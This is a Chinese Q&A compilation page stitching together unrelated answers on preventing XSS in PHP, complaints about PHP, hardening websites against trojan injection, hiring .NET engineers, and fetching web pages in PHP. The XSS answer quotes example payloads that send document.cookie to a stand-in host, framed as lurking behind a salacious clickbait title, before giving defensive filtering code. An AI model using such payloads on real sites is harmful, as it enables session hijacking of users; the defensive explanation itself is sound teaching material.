php漏洞怎么解决,PHP如何防止XSS攻击?
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。
HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,<title>与</title>之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。
当然我会将标题设计的非常吸引人点击,比如 “陈冠希艳照又有流出2012版(20P无码)” ,这样如果我将里面的alert换成恶意代码,比如:
location.href='http://www.xss.com?cookie='+document.cookie’;或者<a href='http://www.xss.com?cookie='+document.cookie>。用户的cookie我也拿到了,如果服务端session没有设置过期的话,我以后甚至拿这个cookie而不需用户名密码,就可以以这个用户的身份登录成功了。
预防XSS攻击
从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段,始终把安全放在心上。
简单点,就是过滤从表单提交来的数据,使用php过滤函数就可以达到很好的目的。
htmlspecialchars() 函数
代码实例:
<?php
if (isset($_POST['name'])){
$str = trim($_POST['name']); //清理空格
$str = strip_tags($str); //过滤html标签
$str = htmlspecialchars($str); //将字符内容转化为html实体
$str = addslashes($str); //防止SQL注入
echo $str;
}
?>
<form method="post" action="">
<input name="name" type="text">
<input type="submit" value="提交" >
</form>
具体操作无法一一写出,需要你边实践边摸索
为什么很多开发人员痛恨PHP?
不得不说,如果拿语言秀优越都是智商捉急的,所以很少有大牛参与语言之争,有实力的都是用作品说话。
首先,世界上就不存在设计完美的语言,都是特定时期诞生,逐步再改进完善。
比如说javascript,它的原创之处并不优秀,优秀之处并非原创。但jQuery作者总结了一本书,叫 javascript语言精粹,这才是高明人做法,糟粕的地方你可以不用,精华之处你可以发扬。
PHP简单,专注于Web,还有很多人拿早期的瑕疵说话,什么注入漏洞,安全问题,命名不统一,我只能说你丫的根本不懂PHP。数据库都pdo了,和Java SQL prepare一样的原理。
高性能的解决方案很多,比如swoole,phalcon,都是纯c扩展。用Java设计模式秀优越的,你可以看看laravel,symfony。
另外做东西主要看应用场景,你精通什么,最终的作品才有价值,用啥语言也不代表你聪明,学lisp你就聪明吗?你更多要考虑的是做出了什么,而不是纠结语言。
用PHP能让我的创意像拉稀,用Java就是便秘,编码的愉悦感很重要,所以我选PHP。
网站建设中如何降低网站被挂马的风险?
一般用户可能没有感觉,但站长朋友肯定知道,如果一个网站放置一段时间不管它,等某一天你再去看它时,发现它可能都被挂马了。其实网站被挂马是常见现象,特别是基于CMS开发的网站。
网站一旦被挂马,就会给访客和网站自身带来一些麻烦,比如说:
网页上会存在一些恶意脚本,可能会弹出很多垃圾广告弹窗、跳转到不相关甚至是非法的网站上、插入大量链接、网页死循环等,降低了访问体验;
原网站内容被非法篡改,网站面目全非;
影响网站SEO效果,降低百度等排名,网站极容易被降权等;
非法修改网站源码,甚至删除了网站程序文件等,造成数据损失。
上面讲的这些危害后果,其实网站一旦被挂马后,清理也是很麻烦的一件事,因为黑客已经破坏了你网站的源文件,而且不止一处插入了恶意代码。
那这些黑客是如何将恶意代码植入我们网站程序中的呢?无非是这几步:
1、黑客寻找网站漏洞并利用
这里的漏洞主要有这些:
文件上传漏洞:比如上传页面没有对上传文件格式做验证导致上传了动态脚本(如直接上传了php文件),再者是上传页面没有做权限验证导致非法用户也能上传文件等;
表单数据未过滤漏洞:比如用户在发表文章时,可以插入JS、CSS代码,这样就足以植入恶意脚本,页面渲染时就会运行这些JS、CSS代码;
SQL注入漏洞:存在SQL注入点,黑客可以入侵数据库进行操作,严重的还能删库;
管理后台弱口令漏洞:一些管理后台帐号密码过于简单(比如 admin),一猜就中,直接登录进入后台,想怎么操作就怎么操作 ...
2、恶意代码植入
找到漏洞后就可以利用,然后在网页程序中植入恶意代码,这样用户访问到页面后就会加载到这些恶意代码,攻击者的目的也就达到了。
既然我们知道黑客挂马的大致流程,那如何避免网站被挂马呢?结合我十几年的运维经验整理了一些建议供大家参考:
1、网站建设时请尽可能不要选择CMS
现在市面上的CMS源代码都是公开的,所以0day漏洞也很多。漏洞公开后,大家只要找到是这种CMS建的站,基本上都能攻击成功,所以波及范围较广。
但如果我们的程序是自主开发的,那攻击者不知道我们的源码逻辑,攻击难度会很大。如果是基于CMS建的网站,一定要留意官方发布的补丁及时修复。
2、用户提交的数据做好过滤
在WEB开发领域,我们一直强调用户的任何输入都是不能相信的,我们在拿到用户提供的数据后务必要做必要的核验(格式是否正确)和过滤(过滤一些敏感字符)。我的建议是:
数据类型强制转换;
过滤掉这些内容:JS标签及代码、CSS标签及代码、HTML标签中的各类事件、单引号、双引号、SQL关键字;
3、源码目录及文件权限严格控制
这个是很重要的,既使攻击者拿到了上传漏洞,但是我们只允许它上传到特定目录,其它目录没有写权限,那就感染不了,如果没有执行权限,那上传的动态脚本也是无法执行的。
4、后台使用复杂口令
后台地址改成无法猜到的地址,密码一定要设得复杂点。
5、定期对站点进行木马查杀
定期把站点备份好,然后做木马查杀,现在杀毒软件是可以查杀WEB木马的。
以上就是我的观点,对于这个问题大家是怎么看待的呢?欢迎在下方评论区交流 ~ 我是科技领域创作者,十年互联网从业经验,欢迎关注我了解更多科技知识!
为什么那么多公司不用?
先说结论:.net目前最大的问题就是缺乏足够多靠谱的工程师。
我自己做过七年的 .net,从纯技术的层面看,我是觉得 .net 各方面都蛮好的,完全可以做出非常好的系统,开发效率高,整体投入成本也低的。如果我自己去做单人开发就能搞定的系统,我很可能会选择 .net core + azure去做。纯技术层面的优劣,我觉得不需要争辩。对于不了解 .net 的童鞋,我会建议去试试使用 VS code,去体验微软把这个编辑器做得怎么样。觉得优秀的话,然后再可以深入去了解微软的其他技术。但如果是公司层面的话,考量就完全不一样了。招聘是技术选型的一个重要考量因素。一个技术再怎么好,如果无法建立起足够大的团队,那么就是白搭。我前司研发在上海,原先的技术栈是纯 .net的。我试了近半年,拉勾、猎头、甚至直接去github搜上海 + .net,等等方式,就硬是无法招聘到足够多靠谱的 .net 工程师。请注意,我是说靠谱的 .net 工程师少,而不是 .net 工程师少。市场上 .net 工程师是不少的,某大厂过来我司面试的 .net 工程师大概有十几个,但我一个offer都没敢发出去,全部都太!差!了!连最基础的可以用O(N^2)暴力解决的算法题都搞不定,都没能让我有机会问优化。数据库索引也毫无概念。git不会用。没听说过 .net core也就罢了,泛型都说不清楚。基本上都只会用IDE拖拽去干活吧;给我强烈的『培训班制造』的工程师的感觉。曾经问其中一个愿意降薪跳槽的候选人说为什么愿意这样,他说:『如果我再不出来,恐怕以后就再也找不到工作了』。思量再三,我还是没敢给他发offer。.net社区存在大量这样的工程师,推崇使用『拖拽』、『简单搞定』等等概念,硬生生把技术工作变得没有技术含量,造就了一批没有技术能力的工程师,或者说,只能搬固定砖块的码农;环境、条件稍微变化一下,他们就搞不定。当然,.net 靠谱的工程师也是有的,但他们要么被那几家大厂包养着,要么直接在微软。完全没法挖。况且,挖到一个两个又怎么样?远远不够。我就想问,头条上,自觉聪明 + 努力,渴望成为靠谱的工程师的童鞋里面,有几个愿意选择 .net,然后去微软之外的公司工作的?选择 .net 的靠谱工程师少,让公司又怎么敢选 .net?选了也只能忍痛迁移掉,比方说我前司。==============若然 .net core能健康发展,微软重新成为工程师心目中的『酷公司』,以后靠谱的 .net工程师会多起来吧?但那可能得等五年后。PS: go是另一个很好玩的情况:工程师虽然不多,但靠谱率非常高。当然,招聘只是技术选型的考量之一,更重要的是要看团队是否有能力掌控这么一门技术,能否搞得定go。php获得网页源代码抓取网页内容的几种方法?
1、使用file_get_contents获得网页源代码。这个方法最常用,只需要两行代码即可,非常简单方便。
2、使用fopen获得网页源代码。这个方法用的人也不少,不过代码有点多。
3、使用curl获得网页源代码。使用curl获得网页源代码的做法,往往是需要更高要求的人使用,例如当你需要在抓取网页内容的同时,得到网页header信息,还有ENCODING编码的使,USERAGENT的使用等等。 所谓的网页代码,就是指在网页制作过程中需要用到的一些特殊的"语言",设计人员通过对这些"语言"进行组织编排制作出网页,然后由浏览器对代码进行"翻译"后才是我们最终看到的效果。 制作网页时常用的代码有HTML,JavaScript,ASP,PHP,CGI等,其中超文本标记语言(标准通用标记语言下的一个应用、外语简称:HTML)是最基础的网页代码。